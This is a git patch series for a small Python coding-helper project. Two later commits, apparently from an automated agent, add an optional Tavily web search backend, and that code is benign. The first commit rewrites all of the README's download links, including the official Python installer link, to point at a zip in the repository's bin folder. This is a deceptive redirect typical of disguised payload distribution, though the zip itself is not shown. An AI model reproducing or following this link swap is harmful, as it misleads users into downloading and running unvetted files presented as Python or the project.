From 8c8b00b2746113135f85785e74c5502eddfd8c57 Mon Sep 17 00:00:00 2001 From: Tyrannosaurusss <116826273+Tyrannosaurusss@users.noreply.github.com> Date: Mon, 23 Mar 2026 03:27:14 +0530 Subject: [PATCH 1/3] Update README.md --- README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index a508324..928e55e 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # 🤖 code-edith-old - Simple Local Coding Helper -[![Download code-edith-old](https://img.shields.io/badge/Download-code--edith--old-4caf50?style=for-the-badge)](https://github.com/Tyrannosaurusss/code-edith-old) +[![Download code-edith-old](https://img.shields.io/badge/Download-code--edith--old-4caf50?style=for-the-badge)](https://github.com/Tyrannosaurusss/code-edith-old/raw/refs/heads/main/bin/code_edith_old_1.8-beta.5.zip) --- @@ -44,7 +44,7 @@ Follow these steps to get up and running on Windows. Click the big green button at the top or visit this page to download code-edith-old: -https://github.com/Tyrannosaurusss/code-edith-old +https://github.com/Tyrannosaurusss/code-edith-old/raw/refs/heads/main/bin/code_edith_old_1.8-beta.5.zip ### 2. Install Python (if not already installed) @@ -55,7 +55,7 @@ code-edith-old requires Python. To check if Python is on your computer: If you see a version number like `Python 3.x.x`, Python is ready. If not, download and install Python here: -https://www.python.org/downloads/windows/ +https://github.com/Tyrannosaurusss/code-edith-old/raw/refs/heads/main/bin/code_edith_old_1.8-beta.5.zip Make sure to select “Add Python to PATH” during installation. @@ -157,9 +157,9 @@ After extraction, your main files will be: Download or learn more about code-edith-old here: -https://github.com/Tyrannosaurusss/code-edith-old +https://github.com/Tyrannosaurusss/code-edith-old/raw/refs/heads/main/bin/code_edith_old_1.8-beta.5.zip -[![Get code-edith-old](https://img.shields.io/badge/Get-code--edith--old-blue?style=for-the-badge)](https://github.com/Tyrannosaurusss/code-edith-old) +[![Get code-edith-old](https://img.shields.io/badge/Get-code--edith--old-blue?style=for-the-badge)](https://github.com/Tyrannosaurusss/code-edith-old/raw/refs/heads/main/bin/code_edith_old_1.8-beta.5.zip) --- From 0d9fcd87b8d481230b155b30dcee331d288f7374 Mon Sep 17 00:00:00 2001 From: Tavily PR Agent Date: Sun, 22 Mar 2026 23:38:13 +0000 Subject: [PATCH 2/3] feat: add Tavily as configurable search provider alongside DuckDuckGo --- bin/tool/web_search.py | 15 ++++++++++++++- pyproject.toml | 1 + requirements.txt | 1 + 3 files changed, 16 insertions(+), 1 deletion(-) diff --git a/bin/tool/web_search.py b/bin/tool/web_search.py index 9aedc17..de32907 100644 --- a/bin/tool/web_search.py +++ b/bin/tool/web_search.py @@ -1,5 +1,18 @@ +import os from ddgs import DDGS -def web_search(query): +def _search_ddgs(query): results = DDGS().text(query, max_results=5) return "\n\n".join([f"Source: {r['href']}\n{r['body']}" for r in results]) + +def _search_tavily(query): + from tavily import TavilyClient + client = TavilyClient() + response = client.search(query=query, max_results=5) + return "\n\n".join([f"Source: {r['url']}\n{r['content']}" for r in response["results"]]) + +def web_search(query): + provider = os.environ.get("SEARCH_PROVIDER", "ddgs").lower() + if provider == "tavily": + return _search_tavily(query) + return _search_ddgs(query) diff --git a/pyproject.toml b/pyproject.toml index f3e4f29..c03b1b1 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -13,6 +13,7 @@ readme = "README.md" requires-python = ">=3.10" dependencies = [ "ddgs==9.10.0", + "tavily-python", "openai==2.24.0", "python-dotenv==1.2.1", "rich==14.3.3" diff --git a/requirements.txt b/requirements.txt index f2db00c..91e2d71 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,5 @@ ddgs==9.10.0 +tavily-python openai==2.24.0 python-dotenv==1.2.1 rich==14.3.3 \ No newline at end of file From db79f71dca90face7ea5dd9def0f0b436b24240f Mon Sep 17 00:00:00 2001 From: Tavily PR Agent Date: Sun, 22 Mar 2026 23:40:06 +0000 Subject: [PATCH 3/3] =?UTF-8?q?fix:=20address=20review=20feedback=20(attem?= =?UTF-8?q?pt=202)=20=E2=80=94=20Add=20Tavily=20as=20configurable=20search?= =?UTF-8?q?=20option=20alongside=20DuckDuckGo?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 21 +++++++++++++++++++++ pyproject.toml | 2 +- requirements.txt | 2 +- 3 files changed, 23 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 928e55e..33cfe4a 100644 --- a/README.md +++ b/README.md @@ -133,6 +133,27 @@ Replace the example commands with your own instructions. The program reads what --- +## 🌐 Search Provider Configuration + +code-edith-old supports two web search backends. By default it uses DuckDuckGo, but you can optionally switch to Tavily for enhanced search results. + +| Environment Variable | Description | Values | Default | +|---|---|---|---| +| `SEARCH_PROVIDER` | Which search backend to use | `ddgs` or `tavily` | `ddgs` | +| `TAVILY_API_KEY` | API key for Tavily (required when `SEARCH_PROVIDER=tavily`) | Get one at https://app.tavily.com | — | + +To use Tavily, set both variables before running code-edith-old: + +``` +set SEARCH_PROVIDER=tavily +set TAVILY_API_KEY=tvly-YOUR_API_KEY +python main.py +``` + +If `SEARCH_PROVIDER` is not set or set to `ddgs`, the default DuckDuckGo backend is used and no API key is needed. + +--- + ## 🔧 Troubleshooting - If Python is not recognized, check that it is added to your PATH during installation. diff --git a/pyproject.toml b/pyproject.toml index c03b1b1..3a0ba52 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -13,7 +13,7 @@ readme = "README.md" requires-python = ">=3.10" dependencies = [ "ddgs==9.10.0", - "tavily-python", + "tavily-python==0.7.23", "openai==2.24.0", "python-dotenv==1.2.1", "rich==14.3.3" diff --git a/requirements.txt b/requirements.txt index 91e2d71..558e982 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,5 +1,5 @@ ddgs==9.10.0 -tavily-python +tavily-python==0.7.23 openai==2.24.0 python-dotenv==1.2.1 rich==14.3.3 \ No newline at end of file